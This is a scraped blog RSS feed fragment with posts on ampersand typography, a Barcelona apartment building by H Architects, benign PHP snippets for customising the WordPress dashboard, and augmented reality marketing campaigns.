<p><a href="http://www.flickr.com/photos/lwr/32256861/sizes/l/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/cb871_12.jpg" alt="" width="615" height="615" /></a></p>
<p><a href="http://www.flickr.com/photos/curtisperry/141257453/sizes/l/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/cb871_13.jpg" alt="" width="615" height="461" /></a></p>
<p><a href="http://www.flickr.com/photos/jkenning/2936734434/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/cb871_14.jpg" alt="" width="615" height="929" /></a></p>
<p><a href="http://www.flickr.com/photos/c_ono_r/228504492/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/803d5_15.jpg" alt="" width="615" height="826" /></a></p>
<p><br class="spacer_" /></p>
<h1>Using Ampersands in Your Designs</h1>
<p>Whether for a web project or a print design, ampersands can play a prominent role in the look and feel of your website. When used in titles or headers they can <strong>add some extra graphic impact </strong>without images.</p>
<p>Italic ampersands, which are generally formal and fancy, can add extra elegance to a design that otherwise remains minimal. Carolignian ampersands in a sans-serif font are often bolder and have a modern feeling.</p>
<p>Carolignian ampersands in a serif font have a very traditional feeling, though depending on the specific font they can become more formal or more modern. A few more examples:</p>
<h1><strong>Italic Ampersands</strong></h1>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/803d5_lucidahandwriting.jpg" alt="" /><strong>Lucida Handwriting</strong></p>
<p><strong><br />
 </strong></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/803d5_papyrus.jpg" alt="" /><strong>Papyrus</strong></p>
<p><strong><br />
 </strong></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/08e00_windsong.jpg" alt="" /><strong>Windsong</strong></p>
<p><strong><br />
 </strong></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/08e00_goudybookletter1911.jpg" alt="" /><strong>Goudy Bookletter 1911</strong></p>
<p><strong><br />
 </strong></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/08e00_bernhardmodern.jpg" alt="" /><strong>Bernhard Modern</strong></p>
<p><strong><br />
 </strong></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a0ae5_caviardreams.jpg" alt="" /><strong>Caviar Dreams</strong></p>
<p><strong><br />
 </strong></p>
<h1><strong>Carolignian Ampersands</strong></h1>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a0ae5_lithospro.jpg" alt="" /><strong>Lithos Pro</strong></p>
<p><strong><br />
 </strong></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a0ae5_tahoma.jpg" alt="" /><strong>Tahoma</strong></p>
<p><strong><br />
 </strong></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/be435_optima.jpg" alt="" /><strong>Optima</strong></p>
<p><strong><br />
 </strong></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/be435_americantypewriter.jpg" alt="" /><strong>American Typewriter</strong></p>
<p><strong><br />
 </strong></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/be435_regencyscript.jpg" alt="" /><strong>Regency Script</strong></p>
<p><strong><br />
 </strong></p>
<h1>Further Information</h1>
<p>Here are some additional resources, and sources used in the crafting of this post.</p>
<ul>
<li><a href="http://www.artlebedev.com/mandership/112/">112. Ampersand</a> &#8211; A short but excellent history from Art Lebedev Studio.</li>
<li><a href="http://en.wikipedia.org/wiki/Ampersand">Ampersand</a> &#8211; Wikipedia&#8217;s entry on the ampersand.</li>
<li><a href="http://www.adobe.com/type/topics/theampersand.html">The Ampersand</a> &#8211; Adobe&#8217;s history of the ampersand.</li>
<li><a href="http://ampersand.gosedesign.net/">The Ampersand</a> &#8211; An entire blog devoted to real-life examples of the ampersand.</li>
<li><a href="http://ampersandtypography.com/">Ampersand Typography</a> &#8211; Another blog devoted to ampersand examples, particularly historical ones.</li>
<li><a href="http://www.blog.spoongraphics.co.uk/articles/the-funkiest-ampersands-you-have-ever-seen">The Funkiest Ampersands You Have Ever Seen</a> &#8211; An excellent roundup of unusual ampersand designs from Spoon Grahpics.</li>
<li><a href="http://www.thedesigncubicle.com/2009/02/the-mesmerizing-curves-of-ampersands/">The Mesmerizing Curves of Ampersands</a> &#8211; Another excellent roundup of ampersand designs, with download links.</li>
</ul>
<p><em><br />
 </em></p>
<p><em>Written exclusively for WDD by Cameron Chapman.</em></p>
<p><em><strong>Do you use the ampersand in your designs? Feel free to share some examples below&#8230;</strong></em></p>
<p>If you find an exclusive RSS freebie on this feed or on the live WDD website, please use the following code to download it: J4Nc4F</p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/be435_Gyh5fKRCmoo" height="1" width="1" /><br />
<a href="http://www.webdesignerdepot.com/feed/">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/tutorial/the-history-of-the-ampersand-and-showcase/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Housing 137 by H Architects</title>
		<link>http://www.neurosoftware.ro/programming-blog/web-design/web-resources/housing-137-by-h-architects/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/web-design/web-resources/housing-137-by-h-architects/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 02:44:34 +0000</pubDate>
		<dc:creator>Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[apartment block]]></category>
		<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[barcelona spain]]></category>
		<category><![CDATA[Brazil]]></category>
		<category><![CDATA[building]]></category>
		<category><![CDATA[color]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[Fabio]]></category>
		<category><![CDATA[H Architects]]></category>
		<category><![CDATA[massive wall]]></category>
		<category><![CDATA[project]]></category>
		<category><![CDATA[single skin]]></category>
		<category><![CDATA[Spain]]></category>
		<category><![CDATA[Stone]]></category>
		<category><![CDATA[wood fibers]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/web-design/web-resources/housing-137-by-h-architects/</guid>
		<description><![CDATA[I love those minimalist constructions, and I don&#8217;t mean that should be a white building to be minimalist. Look this project by H Architects for an example, it is an apartment block in Barcelona, Spain, with an amazing shape, simple windows and looking at the whole thing, even the dark color seems minimalist. &#60;!&#8211;break&#8211;&#62; The [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://feedads.g.doubleclick.net/~a/cuzcts2R44QVMXvXr62BObFKtFM/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a5c42_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~a/cuzcts2R44QVMXvXr62BObFKtFM/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a5c42_di" border="0"></img></a></p>
<h3>I love those minimalist constructions, and I don&#8217;t mean that should be a white building to be minimalist. Look this project by H Architects for an example, it is an apartment block in Barcelona, Spain, with an amazing shape, simple windows and looking at the whole thing, even the dark color seems minimalist.</h3>
<p>&lt;!&#8211;break&#8211;&gt;</p>
<p>The building has been made with basalt stone, because of the fact that due to its porosity and texture, it constantly changes in colour and reflection according to the different degrees of humidity. The wood fibers and the gray color playing togheter brings the perfect composition of colors and materials.</p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a266d_abdz_Housing-137-by-H-Arquitectes-06.jpg" alt="Housing 137 by H Architects" /></p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/3f985_abdz_Housing-137-by-H-Arquitectes-05.jpg" alt="Housing 137 by H Architects" /></p>
<blockquote><p>The three facades of the building become a single skin that, thank to the continuous use of the stone even in the shutters, unifies the volume and consolidates the characteristic predominance of the massive-wall facades in the old quarter.</p>
</blockquote>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/6f945_abdz_Housing-137-by-H-Arquitectes-04.jpg" alt="Housing 137 by H Architects" /></p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/5004f_abdz_Housing-137-by-H-Arquitectes-07.jpg" alt="Housing 137 by H Architects" /></p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d5f79_abdz_Housing-137-by-H-Arquitectes-08.jpg" alt="Housing 137 by H Architects" /></p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d5f79_abdz_Housing-137-by-H-Arquitectes-19.gif" alt="Housing 137 by H Architects" /><br />In the inside, the shutters are wood-panelled and, once open, evolve from their anonymous presence towards singularity.</br></p>
<p>Photos by: H Architects</p>
<p>More details at <a href="http://www.dezeen.com/2010/01/05/housing-137-by-h-arquitectes" rel="nofollow">dezeen.com</a></p>
<div>
<h2>About the author</h2>
<div>
<div>
<p>I&#8217;m from Brazil, co-founder of <a href="http://zee.com.br" rel="nofollow">Zee</a> with Fabio. Nowadays I like to play with Fireworks, Photoshop and improve my skills in CSS. If you wanna request some posts, please feel free to <a href="mailto:fabiano@zee.com.br" rel="nofollow">contact me</a> or follow on <a href="http://twitter.com/FabianoMe" rel="nofollow">Twitter</a>.</p>
</div>
<div></div>
</div>
<h4>Sponsored Links:</h4>
<div>
<div>
</div>
</div>
</div>
<div>.</div>
<p>
<div>
<a href="http://feeds.feedburner.com/~ff/abduzeedo?a=2DnCIIfZ7ho:GD3jl___sDI:7Q72WNTAKBA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4e029_abduzeedo?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/abduzeedo?a=2DnCIIfZ7ho:GD3jl___sDI:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4e029_abduzeedo?i=2DnCIIfZ7ho:GD3jl___sDI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/abduzeedo?a=2DnCIIfZ7ho:GD3jl___sDI:dnMXMwOfBR0"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4e029_abduzeedo?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/abduzeedo?a=2DnCIIfZ7ho:GD3jl___sDI:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4e029_abduzeedo?i=2DnCIIfZ7ho:GD3jl___sDI:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/abduzeedo?a=2DnCIIfZ7ho:GD3jl___sDI:l6gmwiTKsz0"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4e029_abduzeedo?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/abduzeedo?a=2DnCIIfZ7ho:GD3jl___sDI:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4e029_abduzeedo?i=2DnCIIfZ7ho:GD3jl___sDI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/abduzeedo?a=2DnCIIfZ7ho:GD3jl___sDI:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ae315_abduzeedo?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/abduzeedo?a=2DnCIIfZ7ho:GD3jl___sDI:TzevzKxY174"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ae315_abduzeedo?d=TzevzKxY174" border="0"></img></a>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ae315_2DnCIIfZ7ho" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/abduzeedo">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/web-design/web-resources/housing-137-by-h-architects/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>10 WordPress dashboard hacks</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/php/10-wordpress-dashboard-hacks/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/php/10-wordpress-dashboard-hacks/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 18:44:58 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[action]]></category>
		<category><![CDATA[array function]]></category>
		<category><![CDATA[array value]]></category>
		<category><![CDATA[dashboard]]></category>
		<category><![CDATA[directory images]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[function]]></category>
		<category><![CDATA[global menu]]></category>
		<category><![CDATA[theme directory]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/php/10-wordpress-dashboard-hacks/</guid>
		<description><![CDATA[Remove dashboard menus When building a WordPress blog for a client, it can be a good idea to remove access to some dashboard menus in order to avoid future problems such as the client &#8220;accidentally&#8221; deleting the custom theme they paid for. Paste the following code in the functions.php file from your theme directory. The [...]]]></description>
			<content:encoded><![CDATA[<h2>Remove dashboard menus</h2>
<p>When building a WordPress blog for a client, it can be a good idea to remove access to some dashboard menus in order to avoid future problems such as the client &#8220;accidentally&#8221; deleting the custom theme they paid for.<br />
Paste the following code in the <em>functions.php</em> file from your theme directory. The following example will remove all menus named in the <em>$restricted</em> array.</p>
<pre>function remove_menus () {
global $menu;
		$restricted = array(__('Dashboard'), __('Posts'), __('Media'), __('Links'), __('Pages'), __('Appearance'), __('Tools'), __('Users'), __('Settings'), __('Comments'), __('Plugins'));
		end ($menu);
		while (prev($menu)){
			$value = explode(' ',$menu[key($menu)][0]);
			if(in_array($value[0] != NULL?$value[0]:"" , $restricted)){unset($menu[key($menu)]);}
		}
}
add_action('admin_menu', 'remove_menus');
</pre>
<p><strong>» <a href="http://hungred.com/how-to/remove-wordpress-admin-menu-affecting-wordpress-core-system/" target="blank">Source</a></strong></p>
<h2>Define your own login logo</h2>
<p>Although it doesn&#8217;t have any importance for the blog performance or usability, most clients will be very happy to see their own logo on the dashboard login page, instead of the classic WordPress logo.<br />
The <a href="http://wordpress.org/extend/plugins/custom-admin-branding/">Custom admin branding</a> plugin can do that for you, as well as the following hack that you just have to paste in your <em>functions.php</em> file.</p>
<pre>function my_custom_login_logo() {
    echo '&lt;style type="text/css"&gt;
        h1 a { background-image:url('.get_bloginfo('template_directory').'/images/custom-login-logo.gif) !important; }
    &lt;/style&gt;';
}

add_action('login_head', 'my_custom_login_logo');
</pre>
<p><strong>» <a href="http://www.wprecipes.com/customize-wordpress-login-logo-without-a-plugin" target="blank">Source</a></strong></p>
<h2>Replace dashboard logo with yours</h2>
<p>Just as a client will love to see their own logo on WordPress login page, there&#8217;s no doubt that they&#8217;ll enjoy viewing it on the dashboard too.<br />
Simply copy the code below and paste it to your <em>functions.php</em> file.</p>
<pre>add_action('admin_head', 'my_custom_logo');

function my_custom_logo() {
   echo '&lt;style type="text/css"&gt;
         #header-logo { background-image: url('.get_bloginfo('template_directory').'/images/custom-logo.gif) !important; }&lt;/style&gt;';
}
</pre>
<p><strong>» <a href="http://www.smashingmagazine.com/2009/12/14/advanced-power-tips-for-wordpress-template-developers-reloaded/" target="blank">Source</a></strong></p>
<h2>Disable the &#8220;please upgrade now&#8221; message</h2>
<p>WordPress constantly release new versions. Although for obvious security concerns you should always upgrade; disabling the &#8220;Please upgrade now&#8221; message on client sites can be a good idea because the client doesn&#8217;t necessarily have to know about this, this is a developer&#8217;s job.</p>
<p>One more time, nothing hard: paste the code in your <em>functions.php</em>, save it, and it&#8217;s all good.</p>
<pre>if ( !current_user_can( 'edit_users' ) ) {
  add_action( 'init', create_function( '$a', "remove_action( 'init', 'wp_version_check' );" ), 2 );
  add_filter( 'pre_option_update_core', create_function( '$a', "return null;" ) );
}
</pre>
<p><strong>» <a href="http://www.wprecipes.com/how-to-disable-the-please-update-now-message-in-wp-dashboard" target="blank">Source</a></strong></p>
<h2>Remove dashboard widgets</h2>
<p>Introduced in WordPress 2.7, dashboard widgets can be pretty useful. For example, some can display your <a href="http://wordpress.org/extend/plugins/google-analytics-dashboard/">Google Analytics stats</a>. Though, sometimes you don&#8217;t need it, or at least don&#8217;t need some of them.<br />
The code below will allow you to remove WordPress&#8217; dashboard widgets once you paste it in your <em>functions.php</em> file.</p>
<pre>function example_remove_dashboard_widgets() {
	// Globalize the metaboxes array, this holds all the widgets for wp-admin
 	global $wp_meta_boxes;

	// Remove the incomming links widget
	unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);	

	// Remove right now
	unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);
	unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);
	unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);
}

// Hoook into the 'wp_dashboard_setup' action to register our function
add_action('wp_dashboard_setup', 'example_remove_dashboard_widgets' );
</pre>
<p><strong>» <a href="http://hankis.me/modifying-the-wordpress-dashboard" target="blank">Source</a></strong></p>
<h2>Add custom widgets to WordPress dashboard</h2>
<p>With the previous example, I showed you how easy it is to remove unwanted dashboard widgets. The good news is that creating your own widgets isn&#8217;t hard either.<br />
The well-commented code below should be self explanatory. Just insert it in your <em>functions.php</em>, as usual.</p>
<pre>function example_dashboard_widget_function() {
	// Display whatever it is you want to show
	echo "Hello World, I'm a great Dashboard Widget";
} 

// Create the function use in the action hook
function example_add_dashboard_widgets() {
	wp_add_dashboard_widget('example_dashboard_widget', 'Example Dashboard Widget', 'example_dashboard_widget_function');
}
// Hoook into the 'wp_dashboard_setup' action to register our other functions
add_action('wp_dashboard_setup', 'example_add_dashboard_widgets' );
</pre>
<p><strong>» <a href="http://hankis.me/modifying-the-wordpress-dashboard" target="blank">Source</a></strong></p>
<h2>Change WordPress dashboard colors</h2>
<p>If you ever wanted to be able to change WordPress dashboard colors (as well as font or even display) without having to edit WordPress core files, you&#8217;ll like this hack for sure.<br />
The following example features a basic style change (grey header is replaced by a blue one) but you can easily add as many styles as you wish within the <em>&lt;style&gt;</em> and <em>&lt;/style&gt;</em> tags.</p>
<pre>function custom_colors() {
   echo '&lt;style type="text/css"&gt;#wphead{background:#069}&lt;/style&gt;';
}

add_action('admin_head', 'custom_colors');
</pre>
<h2>Provide help messages</h2>
<p>If you&#8217;re building a site for a client and they have some problems with some parts of the dashboard, a good idea is to provide contextual help to the client.<br />
The following hack will allow you to add a custom help messages for the blog admin. As usual, you only have to paste the code into your <em>functions.php</em> file.</p>
<pre>function my_admin_help($text, $screen) {
	// Check we're only on my Settings page
	if (strcmp($screen, MY_PAGEHOOK) == 0 ) {

		$text = 'Here is some very useful information to help you use this plugin...';
		return $text;
	}
	// Let the default WP Dashboard help stuff through on other Admin pages
	return $text;
}

add_action( 'contextual_help', 'my_admin_help' );
</pre>
<p><strong>» <a href="http://www.studiograsshopper.ch/code-snippets/wordpress-action-hook-contextual-help/" target="blank">Source</a></strong></p>
<h2>Monitor your server in WordPress dashboard</h2>
<p>WordPress dashboard API allow you to do many useful things using dashboard widgets. I recently came across this very useful code: a dashboard widget that allows you to monitor your server directly on WordPress&#8217; dashboard.<br />
Paste the code in your <em>functions.php</em> file, and you&#8217;re done.</p>
<pre>function slt_PHPErrorsWidget() {
	$logfile = '/home/path/logs/php-errors.log'; // Enter the server path to your logs file here
	$displayErrorsLimit = 100; // The maximum number of errors to display in the widget
	$errorLengthLimit = 300; // The maximum number of characters to display for each error
	$fileCleared = false;
	$userCanClearLog = current_user_can( 'manage_options' );
	// Clear file?
	if ( $userCanClearLog &amp;&amp; isset( $_GET["slt-php-errors"] ) &amp;&amp; $_GET["slt-php-errors"]=="clear" ) {
		$handle = fopen( $logfile, "w" );
		fclose( $handle );
		$fileCleared = true;
	}
	// Read file
	if ( file_exists( $logfile ) ) {
		$errors = file( $logfile );
		$errors = array_reverse( $errors );
		if ( $fileCleared ) echo '&lt;p&gt;&lt;em&gt;File cleared.&lt;/em&gt;&lt;/p&gt;';
		if ( $errors ) {
			echo '&lt;p&gt;'.count( $errors ).' error';
			if ( $errors != 1 ) echo 's';
			echo '.';
			if ( $userCanClearLog ) echo ' [ &lt;b&gt;&lt;a href="'.get_bloginfo("url").'/wp-admin/?slt-php-errors=clear" onclick="return confirm(\'Are you sure?\');"&gt;CLEAR LOG FILE&lt;/a&gt;&lt;/b&gt; ]';
			echo '&lt;/p&gt;';
			echo '&lt;div id="slt-php-errors" style="height:250px;overflow:scroll;padding:2px;background-color:#faf9f7;border:1px solid #ccc;"&gt;';
			echo '&lt;ol style="padding:0;margin:0;"&gt;';
			$i = 0;
			foreach ( $errors as $error ) {
				echo '&lt;li style="padding:2px 4px 6px;border-bottom:1px solid #ececec;"&gt;';
				$errorOutput = preg_replace( '/\[([^\]]+)\]/', '&lt;b&gt;[$1]&lt;/b&gt;', $error, 1 );
				if ( strlen( $errorOutput ) &gt; $errorLengthLimit ) {
					echo substr( $errorOutput, 0, $errorLengthLimit ).' [...]';
				} else {
					echo $errorOutput;
				}
				echo '&lt;/li&gt;';
				$i++;
				if ( $i &gt; $displayErrorsLimit ) {
					echo '&lt;li style="padding:2px;border-bottom:2px solid #ccc;"&gt;&lt;em&gt;More than '.$displayErrorsLimit.' errors in log...&lt;/em&gt;&lt;/li&gt;';
					break;
				}
			}
			echo '&lt;/ol&gt;&lt;/div&gt;';
		} else {
			echo '&lt;p&gt;No errors currently logged.&lt;/p&gt;';
		}
	} else {
		echo '&lt;p&gt;&lt;em&gt;There was a problem reading the error log file.&lt;/em&gt;&lt;/p&gt;';
	}
}

// Add widgets
function slt_dashboardWidgets() {
	wp_add_dashboard_widget( 'slt-php-errors', 'PHP errors', 'slt_PHPErrorsWidget' );
}
add_action( 'wp_dashboard_setup', 'slt_dashboardWidgets' );
</pre>
<p><strong>» <a href="http://sltaylor.co.uk/blog/wordpress-dashboard-widget-php-errors-log/" target="blank">Source</a></strong></p>
<h2>Remove dashboard widgets according to user role</h2>
<p>If you&#8217;re owning a multi-user blog, it may be useful to know how to hide some dashboard widgets to keep confidential information in a safe place.<br />
The following code will remove the <em>postcustom</em> meta box for &#8220;author&#8221; (role 2). To apply the hack on your own blog, just copy the code below and paste it in your <em>functions.php</em> file.</p>
<pre>function customize_meta_boxes() {
     //retrieve current user info
     global $current_user;
     get_currentuserinfo();

     //if current user level is less than 3, remove the postcustom meta box
     if ($current_user-&gt;user_level &lt; 3)
          remove_meta_box('postcustom','post','normal');
}

add_action('admin_init','customize_meta_boxes');
</pre>
<p><strong>» <a href="http://www.smashingmagazine.com/2009/12/14/advanced-power-tips-for-wordpress-template-developers-reloaded/" target="blank">Source</a></strong></p>
<p><em>Have you checked out the highly recommended <a href="http://www.catswhocode.com/blog/diw.html">Digging into WordPress</a> book by Chris Coyier and Jeff Starr?</strong></em></p>
<p><a href="http://www.catswhocode.com/blog/10-wordpress-dashboard-hacks">10 WordPress dashboard hacks</a></p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/81432_7jL2r-fRlJs" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/Catswhocode">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/php/10-wordpress-dashboard-hacks/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>10 Awesome Uses of Augmented Reality Marketing</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/10-awesome-uses-of-augmented-reality-marketing/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/10-awesome-uses-of-augmented-reality-marketing/#comments</comments>
		<pubDate>Sat, 26 Dec 2009 19:10:10 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[bmw z4]]></category>
		<category><![CDATA[car painting]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[D CGI]]></category>
		<category><![CDATA[D LIVE]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[finger painting]]></category>
		<category><![CDATA[France]]></category>
		<category><![CDATA[John Mayer]]></category>
		<category><![CDATA[Julian Perretta]]></category>
		<category><![CDATA[keyboard commands]]></category>
		<category><![CDATA[ray ban]]></category>
		<category><![CDATA[reality]]></category>
		<category><![CDATA[Rhode]]></category>
		<category><![CDATA[Robin Rhode]]></category>
		<category><![CDATA[signature moves]]></category>
		<category><![CDATA[tech]]></category>
		<category><![CDATA[webcam]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/10-awesome-uses-of-augmented-reality-marketing/</guid>
		<description><![CDATA[Visuals are an important part of advertising, so it&#8217;s not surprising that so many companies have jumped on the augmented reality bandwagon, offering tools that visualize their products in a magical and memorable way. Here we take a look at some pretty amazing promotional uses of this new tech that work with common webcams, giving [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://api.tweetmeme.com/share?url=http://mashable.com/2009/12/26/augmented-reality-marketing/&amp;service=bit.ly"><img width="51" height="61" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ab924_augmented-reality-marketing" align="right" /></a>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e136c_topps-AR.jpg" alt="Topps Augmented Reality Image" class="alignright size-full wp-image-143936" />Visuals are an important part of advertising, so it&#8217;s not surprising that so many companies have jumped on the augmented reality bandwagon, offering tools that visualize their products in a magical and memorable way.</p>
<p>Here we take a look at some pretty amazing promotional uses of this new tech that work with common webcams, giving everyone a chance to experience augmented reality &#8212; a trend that will be big in 2010.<br />
<span></span></p>
<hr />
<h2><a href="http://www.bmw.co.uk/bmwuk/augmented_reality/homepage?bcsource=vanity" target="_blank">1. BMW Z4 </a></p>
<hr /></h2>
<p>
</p>
</p>
<p>This BMW interpretation ties in with a TV ad that sees artist Robin Rhode using the Z4 as a giant paintbrush (think big-scale finger-painting with the car&#8217;s tyres). Downloading the software, printing out the 3D symbol and holding it up to your webcam will allow you to see your own miniature Z4 on your screen, which you can then drive around using keyboard commands, creating your own Rhode-esque car painting.</p>
<hr />
<h2><a href="http://www.toppstown.com" target="_blank">2. TOPPS 3D LIVE Trading Cards</a></p>
<hr /></h2>
</p>
<p>Taking the trading card into the 21st century, the Topps &#8220;3D LIVE&#8221; range offers baseball (and now also football) stars that leap from the special cards onto your desk, as viewed via webcam. As well as creating miniature holographic representations of the players &#8212; a neat enough trick that would impress most kids &#8212; the concept is taken a step further with the angle that you can control the player&#8217;s signature moves via your keyboard. </p>
<hr />
<h2><a href="http://www.weareautobots.com/uk/index.php" target="_blank">3. Transformers: Revenge of the Fallen</a></p>
<hr /></h2>
</p>
<p>As well as augmented reality, this example uses clever face-tracking technology to stick the original 3D CGI head of Optimus Prime atop your own visage. The campaign to promote &#8220;Transformers: Revenge of the Fallen&#8221; also includes a hidden holographic message from Bumblebee, again developed using the original 3D model of the robot that appeared in the movie, suggesting CGI films may be ripe for more AR apps in the future. </p>
<hr />
<h2><a href="http://www.doritos.com.br/sweetchili/site/" target="_blank">4. Doritos Sweet Chilli Chips</a></p>
<hr /></h2>
</p>
<p>What we like about Doritos&#8217; take on the tech for the Brazilian market is that the webcam code is printed on the back of the chip packet, adding value to something normally disposable. Perhaps this also means less chip bags littering the streets. Holding up the code on the Sweet Chilli chips packets initiates the appearance of a little cartoon character, which can then be used in an extended online game. </p>
<hr />
<h2><a href="https://www.prioritymail.com/simulator.asp" target="_blank">5. USPS Priority Mail Virtual Box Simulator</a></p>
<hr /></h2>
</p>
<p>Erring on the functional side of promotion, the USPS Priority Mail Virtual Box Simulator is a wickedly clever use of the tech that lets users compare the size of an item they need sent to the size of boxes available from the postal service, by seeing how well their item fits inside a transparent box. Although not particularly high octane excitement, it does illustrate the practical use of AR which is yet to be fully explored.</p>
<hr />
<h2><a href="http://www.experience-the-enterprise.com/uk/" target="_blank">6. Star Trek</a></p>
<hr /></h2>
</p>
<p>These kind of applications work particularly well with a techie audience, or in this instance a Trekkie one. The front cover of certain versions of the Star Trek movie on DVD and Blu-ray doubles as a webcam code to initiate the &#8220;cadet orientation&#8221; program.  It offers a holographic tour around the USS Enterprise (that appears as a hovering apparition on your screen), incorporating a look at the bridge, and best of all, a trigger to fire the ship&#8217;s weapons, complete with sound effects. </p>
<hr />
<h2><a href="http://www.5gum.fr/?lang=en" target="_blank">7. Wrigley&#8217;s 5 Gum</a></p>
<hr /></h2>
</p>
